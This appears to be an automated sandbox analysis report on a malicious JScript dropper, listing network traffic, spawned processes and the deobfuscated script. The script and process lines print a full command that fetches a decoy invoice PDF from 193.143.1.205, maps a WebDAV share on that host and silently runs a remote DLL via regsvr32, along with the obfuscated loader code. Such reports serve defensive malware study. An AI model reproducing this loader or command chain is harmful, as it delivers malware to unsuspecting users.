/Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:31:28.845268965 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:31:28.845588923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:31:28.845624924 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 07:31:28.845659971 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 07:31:28.845695019 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 07:31:28.845731020 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 07:31:28.845763922 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 07:31:28.845801115 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 07:31:28.845838070 CET	1236	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 11, 2025 07:31:28.850720882 CET	996	IN	Data Raw: 9d 1d 73 e7 fd 85 a7 49 9a 1e 9a db 69 19 66 8b b0 59 84 3b 72 d3 c4 a5 c4 d0 d4 80 7c 09 4d 19 f4 6f ad bf f6 d2 7f 4d 55 74 f6 6b a4 87 ca be dc 70 59 ae 4c 84 49 12 4d 19 b4 be 84 ea 91 3d 33 b5 97 fe 4e 61 64 2f 37 a6 5a 58 db 6b 4a e8 e8 3e Data Ascii: sIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49737	193.143.1.205	8888	5904	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:31:30.656354904 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:31:31.475140095 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:31:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:31:23
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js"
Imagebase:	0x7ff701210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:31:24
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll
Imagebase:	0x7ff749ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:31:24
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:31:24
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:31:29
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:31:29
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff749ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:31:29
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff760900000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:31:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:31:30
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:31:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1748,i,16244034270868904288,8231150956397656860,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cvwym() {	cvwym() ➔ undefined
1	cxgsvtrt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vomqvyczv = this[eibekm + jvxwmza + amfbmv + zrfvdh + geqjjurw + ehjwh + vtmptq + jlhkq] ( this[nboeqozt + mzgzscpd + cadckkyld + amfbmv + siijmzz + eibekm + jlhkq][cuktjrzf + amfbmv + geqjjurw + jvxwmza + jlhkq + geqjjurw + gsuujibd + ovrbbdls + phrnxvyeu + geqjjurw + cadckkyld + jlhkq] ( nboeqozt + mzgzscpd + cadckkyld + amfbmv + siijmzz + eibekm + jlhkq + ccygi + mzgzscpd + asprfndh + geqjjurw + lnisrbxog + lnisrbxog ) [rmfznqact + geqjjurw + kwojesv + rmfznqact + geqjjurw + jvxwmza + yyyua] ( vkwdrva + isauo + icugxll + ckvca + mznug + cuktjrzf + krggjnlze + rmfznqact + rmfznqact + icugxll + hjozuayu + pglfnyg + mznug + krggjnlze + mzgzscpd + icugxll + rmfznqact + ozkij + cuktjrzf + mknvgowy + vtmptq + jlhkq + amfbmv + mknvgowy + lnisrbxog + lpurbg + axxco + jvxwmza + vtmptq + geqjjurw + lnisrbxog + ozkij + ehjwh + vtmptq + jlhkq + geqjjurw + amfbmv + vtmptq + jvxwmza + jlhkq + siijmzz + mknvgowy + vtmptq + jvxwmza + lnisrbxog + ozkij + iznbp + mknvgowy + cadckkyld + jvxwmza + lnisrbxog + geqjjurw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ltdbv = 0 ; ltdbv < cxgsvtrt[lnisrbxog + geqjjurw + vtmptq + kwojesv + jlhkq + asprfndh] ; ++ ltdbv )
4	{
5	if ( vomqvyczv == cxgsvtrt[ltdbv] )
6	{
7	vomqvyczv = true;
8	break ;
9	}
10	}
11	if ( vomqvyczv !== true )
12	this[nboeqozt + mzgzscpd + cadckkyld + amfbmv + siijmzz + eibekm + jlhkq][yamfbmczz + pizhvan + siijmzz + jlhkq] ( );
13	this[nboeqozt + mzgzscpd + cadckkyld + amfbmv + siijmzz + eibekm + jlhkq][cuktjrzf + amfbmv + geqjjurw + jvxwmza + jlhkq + geqjjurw + gsuujibd + ovrbbdls + phrnxvyeu + geqjjurw + cadckkyld + jlhkq] ( nboeqozt + mzgzscpd + cadckkyld + amfbmv + siijmzz + eibekm + jlhkq + ccygi + mzgzscpd + asprfndh + geqjjurw + lnisrbxog + lnisrbxog ) [amfbmv + pizhvan + vtmptq] ( cadckkyld + blrph + yyyua + lpurbg + cuffvl + cadckkyld + lpurbg + eibekm + mknvgowy + wmtcph + geqjjurw + amfbmv + zrfvdh + asprfndh + geqjjurw + lnisrbxog + lnisrbxog + ccygi + geqjjurw + fpzunl + geqjjurw + lpurbg + ptvuxtmvj + cuktjrzf + mknvgowy + blrph + blrph + jvxwmza + vtmptq + yyyua + lpurbg + gdfqvzltt + ehjwh + vtmptq + fczjcuap + mknvgowy + gofcgpv + geqjjurw + ptvuxtmvj + nboeqozt + geqjjurw + ovrbbdls + rmfznqact + geqjjurw + hgbju + pizhvan + geqjjurw + zrfvdh + jlhkq + lpurbg + ptvuxtmvj + gsuujibd + pizhvan + jlhkq + vkwcnq + siijmzz + lnisrbxog + geqjjurw + lpurbg + sprpvw + jlhkq + geqjjurw + blrph + eibekm + sprpvw + ozkij + siijmzz + vtmptq + fczjcuap + mknvgowy + siijmzz + cadckkyld + geqjjurw + ccygi + eibekm + yyyua + ajyvylcn + lpurbg + asprfndh + jlhkq + jlhkq + eibekm + khlvbcsf + cuffvl + cuffvl + zaxqkpw + cadrnfev + klgnlgj + ccygi + zaxqkpw + adgfuvs + klgnlgj + ccygi + zaxqkpw + ccygi + anmvwub + bygineiy + pigdl + cuffvl + siijmzz + vtmptq + fczjcuap + mknvgowy + siijmzz + cadckkyld + geqjjurw + ccygi + eibekm + asprfndh + eibekm + gdfqvzltt + bvnbsls + bvnbsls + zrfvdh + jlhkq + jvxwmza + amfbmv + jlhkq + lpurbg + sprpvw + jlhkq + geqjjurw + blrph + eibekm + sprpvw + ozkij + siijmzz + vtmptq + fczjcuap + mknvgowy + siijmzz + cadckkyld + geqjjurw + ccygi + eibekm + yyyua + ajyvylcn + bvnbsls + bvnbsls + cadckkyld + blrph + yyyua + lpurbg + cuffvl + cadckkyld + lpurbg + vtmptq + geqjjurw + jlhkq + lpurbg + pizhvan + zrfvdh + geqjjurw + lpurbg + ozkij + ozkij + zaxqkpw + cadrnfev + klgnlgj + ccygi + zaxqkpw + adgfuvs + klgnlgj + ccygi + zaxqkpw + ccygi + anmvwub + bygineiy + pigdl + hhurvkj + gljciq + gljciq + gljciq + gljciq + ozkij + yyyua + jvxwmza + fczjcuap + wmtcph + wmtcph + wmtcph + amfbmv + mknvgowy + mknvgowy + jlhkq + ozkij + bvnbsls + bvnbsls + cadckkyld + blrph + yyyua + lpurbg + cuffvl + cadckkyld + lpurbg + amfbmv + geqjjurw + kwojesv + zrfvdh + fczjcuap + amfbmv + klgnlgj + anmvwub + lpurbg + cuffvl + zrfvdh + lpurbg + ozkij + ozkij + zaxqkpw + cadrnfev + klgnlgj + ccygi + zaxqkpw + adgfuvs + klgnlgj + ccygi + zaxqkpw + ccygi + anmvwub + bygineiy + pigdl + hhurvkj + gljciq + gljciq + gljciq + gljciq + ozkij + yyyua + jvxwmza + fczjcuap + wmtcph + wmtcph + wmtcph + amfbmv + mknvgowy + mknvgowy + jlhkq + ozkij + anmvwub + anmvwub + anmvwub + qkwdwpj + pigdl + anmvwub + adgfuvs + bygineiy + bygineiy + anmvwub + qrjeoqmc + qrjeoqmc + qrjeoqmc + cadrnfev + ccygi + yyyua + lnisrbxog + lnisrbxog, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll",0,false) ➔ 0
14	}
15	mknvgowy = "S";
16	mknvgowy = "c";
17	mknvgowy = "R";
18	mknvgowy = "Y";
19	mknvgowy = "Z";
20	mknvgowy = "S";
21	mknvgowy = "z";
22	mknvgowy = "W";
23	mknvgowy = "o";
24	hjozuayu = "X";
25	hjozuayu = "z";
26	hjozuayu = "u";
27	hjozuayu = "M";
28	hjozuayu = "w";
29	hjozuayu = "M";
30	hjozuayu = "X";
31	hjozuayu = "Y";
32	hjozuayu = "G";
33	hjozuayu = "K";
34	hjozuayu = "P";
35	hjozuayu = "j";
36	hjozuayu = "n";
37	hjozuayu = "j";
38	hjozuayu = "U";
39	hjozuayu = "S";
40	hjozuayu = "S";
41	hjozuayu = "E";
42	hjozuayu = "r";
43	hjozuayu = "F";
44	hjozuayu = "k";
45	hjozuayu = "q";
46	hjozuayu = "d";
47	hjozuayu = "R";
48	hjozuayu = "S";
49	hjozuayu = "Q";
50	hjozuayu = "w";
51	hjozuayu = "v";
52	hjozuayu = "T";
53	hjozuayu = "s";
54	hjozuayu = "N";
55	ovrbbdls = "k";
56	ovrbbdls = "P";
57	ovrbbdls = "Y";
58	ovrbbdls = "P";
59	ovrbbdls = "l";
60	ovrbbdls = "f";
61	ovrbbdls = "u";
62	ovrbbdls = "m";
63	ovrbbdls = "Y";
64	ovrbbdls = "N";
65	ovrbbdls = "p";
66	ovrbbdls = "X";
67	ovrbbdls = "G";
68	ovrbbdls = "t";
69	ovrbbdls = "L";
70	ovrbbdls = "h";
71	ovrbbdls = "B";
72	ovrbbdls = "E";
73	ovrbbdls = "s";
74	ovrbbdls = "w";
75	ovrbbdls = "C";
76	ovrbbdls = "t";
77	ovrbbdls = "T";
78	ovrbbdls = "J";
79	ovrbbdls = "u";
80	ovrbbdls = "v";
81	ovrbbdls = "Y";
82	ovrbbdls = "s";
83	ovrbbdls = "r";
84	ovrbbdls = "v";
85	ovrbbdls = "f";
86	ovrbbdls = "b";
87	zaxqkpw = "n";
88	zaxqkpw = "d";
89	zaxqkpw = "k";
90	zaxqkpw = "n";
91	zaxqkpw = "z";
92	zaxqkpw = "Y";
93	zaxqkpw = "v";
94	zaxqkpw = "o";
95	zaxqkpw = "v";
96	zaxqkpw = "n";
97	zaxqkpw = "q";
98	zaxqkpw = "f";
99	zaxqkpw = "H";
100	zaxqkpw = "K";
101	zaxqkpw = "O";
102	zaxqkpw = "d";
103	zaxqkpw = "v";
104	zaxqkpw = "g";
105	zaxqkpw = "1";
106	iznbp = "E";
107	iznbp = "y";
108	iznbp = "M";
109	iznbp = "F";
110	iznbp = "G";
111	iznbp = "T";
112	iznbp = "i";
113	iznbp = "C";
114	iznbp = "f";
115	iznbp = "F";
116	iznbp = "O";
117	iznbp = "L";
118	yyyua = "s";
119	yyyua = "F";
120	yyyua = "Y";
121	yyyua = "i";
122	yyyua = "o";
123	yyyua = "T";
124	yyyua = "Y";
125	yyyua = "M";
126	yyyua = "w";
127	yyyua = "r";
128	yyyua = "Q";
129	yyyua = "H";
130	yyyua = "B";
131	yyyua = "u";
132	yyyua = "Y";
133	yyyua = "J";
134	yyyua = "n";
135	yyyua = "M";
136	yyyua = "b";
137	yyyua = "M";
138	yyyua = "E";
139	yyyua = "Q";
140	yyyua = "E";
141	yyyua = "a";
142	yyyua = "d";
143	axxco = "g";
144	axxco = "C";
145	axxco = "J";
146	axxco = "j";
147	axxco = "T";
148	axxco = "l";
149	axxco = "A";
150	axxco = "y";
151	axxco = "z";
152	axxco = "y";
153	axxco = "E";
154	axxco = "h";
155	axxco = "f";
156	axxco = "x";
157	axxco = "Q";
158	axxco = "R";
159	axxco = "p";
160	axxco = "v";
161	axxco = "l";
162	axxco = "y";
163	axxco = "B";
164	axxco = "s";
165	axxco = "P";
166	axxco = "S";
167	axxco = "u";
168	axxco = "N";
169	axxco = "P";
170	axxco = "O";
171	axxco = "S";
172	axxco = "t";
173	axxco = "p";
174	axxco = "G";
175	axxco = "b";
176	axxco = "b";
177	axxco = "K";
178	axxco = "G";
179	axxco = "z";
180	axxco = "P";
181	ccygi = "D";
182	ccygi = "t";
183	ccygi = "A";
184	ccygi = "g";
185	ccygi = "i";
186	ccygi = "e";
187	ccygi = "N";
188	ccygi = "M";
189	ccygi = "p";
190	ccygi = "h";
191	ccygi = "B";
192	ccygi = "E";
193	ccygi = "W";
194	ccygi = "g";
195	ccygi = ".";
196	ptvuxtmvj = "V";
197	ptvuxtmvj = "n";
198	ptvuxtmvj = "U";
199	ptvuxtmvj = "c";
200	ptvuxtmvj = "m";
201	ptvuxtmvj = "C";
202	ptvuxtmvj = "k";
203	ptvuxtmvj = "i";
204	ptvuxtmvj = "m";
205	ptvuxtmvj = "-";
206	ckvca = "S";
207	ckvca = "h";
208	ckvca = "h";
209	ckvca = "s";
210	ckvca = "S";
211	ckvca = "G";
212	ckvca = "n";
213	ckvca = "Y";
214	ckvca = "j";
215	ckvca = "z";
216	ckvca = "L";
217	ckvca = "Q";
218	ckvca = "p";
219	ckvca = "h";
220	ckvca = "E";
221	ckvca = "t";
222	ckvca = "H";
223	ckvca = "L";
224	ckvca = "f";
225	ckvca = "c";
226	ckvca = "q";
227	ckvca = "P";
228	ckvca = "Y";
229	ckvca = "A";
230	ckvca = "W";
231	ckvca = "N";
232	ckvca = "h";
233	ckvca = "Q";
234	ckvca = "H";
235	ckvca = "F";
236	ckvca = "p";
237	ckvca = "Z";
238	ckvca = "V";
239	ckvca = "r";
240	ckvca = "s";
241	ckvca = "V";
242	ckvca = "S";
243	ckvca = "e";
244	ckvca = "Y";
245	wmtcph = "x";
246	wmtcph = "z";
247	wmtcph = "U";
248	wmtcph = "z";
249	wmtcph = "G";
250	wmtcph = "J";
251	wmtcph = "F";
252	wmtcph = "w";
253	wmtcph = "z";
254	wmtcph = "c";
255	wmtcph = "x";
256	wmtcph = "p";
257	wmtcph = "r";
258	wmtcph = "i";
259	wmtcph = "y";
260	wmtcph = "k";
261	wmtcph = "o";
262	wmtcph = "N";
263	wmtcph = "O";
264	wmtcph = "k";
265	wmtcph = "Z";
266	wmtcph = "T";
267	wmtcph = "K";
268	wmtcph = "O";
269	wmtcph = "U";
270	wmtcph = "U";
271	wmtcph = "Z";
272	wmtcph = "c";
273	wmtcph = "p";
274	wmtcph = "W";
275	wmtcph = "O";
276	wmtcph = "w";
277	wmtcph = "g";
278	wmtcph = "S";
279	wmtcph = "V";
280	wmtcph = "X";
281	wmtcph = "m";
282	wmtcph = "v";
283	wmtcph = "w";
284	pglfnyg = "O";
285	pglfnyg = "G";
286	pglfnyg = "X";
287	pglfnyg = "o";
288	pglfnyg = "l";
289	pglfnyg = "t";
290	pglfnyg = "Z";
291	pglfnyg = "K";
292	pglfnyg = "F";
293	pglfnyg = "D";
294	pglfnyg = "a";
295	pglfnyg = "B";
296	pglfnyg = "H";
297	pglfnyg = "S";
298	pglfnyg = "T";
299	jvxwmza = "z";
300	jvxwmza = "w";
301	jvxwmza = "C";
302	jvxwmza = "W";
303	jvxwmza = "x";
304	jvxwmza = "W";
305	jvxwmza = "a";
306	amfbmv = "B";
307	amfbmv = "f";
308	amfbmv = "N";
309	amfbmv = "X";
310	amfbmv = "r";
311	amfbmv = "b";
312	amfbmv = "c";
313	amfbmv = "B";
314	amfbmv = "x";
315	amfbmv = "x";
316	amfbmv = "z";
317	amfbmv = "u";
318	amfbmv = "P";
319	amfbmv = "d";
320	amfbmv = "X";
321	amfbmv = "d";
322	amfbmv = "Q";
323	amfbmv = "Q";
324	amfbmv = "V";
325	amfbmv = "H";
326	amfbmv = "L";
327	amfbmv = "L";
328	amfbmv = "m";
329	amfbmv = "j";
330	amfbmv = "G";
331	amfbmv = "j";
332	amfbmv = "y";
333	amfbmv = "u";
334	amfbmv = "J";
335	amfbmv = "w";
336	amfbmv = "b";
337	amfbmv = "x";
338	amfbmv = "X";
339	amfbmv = "R";
340	amfbmv = "X";
341	amfbmv = "B";
342	amfbmv = "l";
343	amfbmv = "o";
344	amfbmv = "n";
345	amfbmv = "H";
346	amfbmv = "p";
347	amfbmv = "r";
348	fczjcuap = "A";
349	fczjcuap = "x";
350	fczjcuap = "b";
351	fczjcuap = "p";
352	fczjcuap = "n";
353	fczjcuap = "Y";
354	fczjcuap = "D";
355	fczjcuap = "S";
356	fczjcuap = "m";
357	fczjcuap = "g";
358	fczjcuap = "C";
359	fczjcuap = "p";
360	fczjcuap = "u";
361	fczjcuap = "G";
362	fczjcuap = "Q";
363	fczjcuap = "d";
364	fczjcuap = "v";
365	fczjcuap = "v";
366	vkwdrva = "z";
367	vkwdrva = "m";
368	vkwdrva = "g";
369	vkwdrva = "k";
370	vkwdrva = "S";
371	vkwdrva = "R";
372	vkwdrva = "B";
373	vkwdrva = "H";
374	yamfbmczz = "i";
375	yamfbmczz = "G";
376	yamfbmczz = "V";
377	yamfbmczz = "b";
378	yamfbmczz = "V";
379	yamfbmczz = "g";
380	yamfbmczz = "J";
381	yamfbmczz = "W";
382	yamfbmczz = "p";
383	yamfbmczz = "X";
384	yamfbmczz = "c";
385	yamfbmczz = "n";
386	yamfbmczz = "B";
387	yamfbmczz = "o";
388	yamfbmczz = "l";
389	yamfbmczz = "n";
390	yamfbmczz = "w";
391	yamfbmczz = "P";
392	yamfbmczz = "j";
393	yamfbmczz = "Q";
394	rmfznqact = "T";
395	rmfznqact = "B";
396	rmfznqact = "w";
397	rmfznqact = "V";
398	rmfznqact = "i";
399	rmfznqact = "s";
400	rmfznqact = "y";
401	rmfznqact = "y";
402	rmfznqact = "v";
403	rmfznqact = "Q";
404	rmfznqact = "K";
405	rmfznqact = "m";
406	rmfznqact = "B";
407	rmfznqact = "B";
408	rmfznqact = "T";
409	rmfznqact = "r";
410	rmfznqact = "E";
411	rmfznqact = "V";
412	rmfznqact = "F";
413	rmfznqact = "w";
414	rmfznqact = "y";
415	rmfznqact = "L";
416	rmfznqact = "H";
417	rmfznqact = "f";
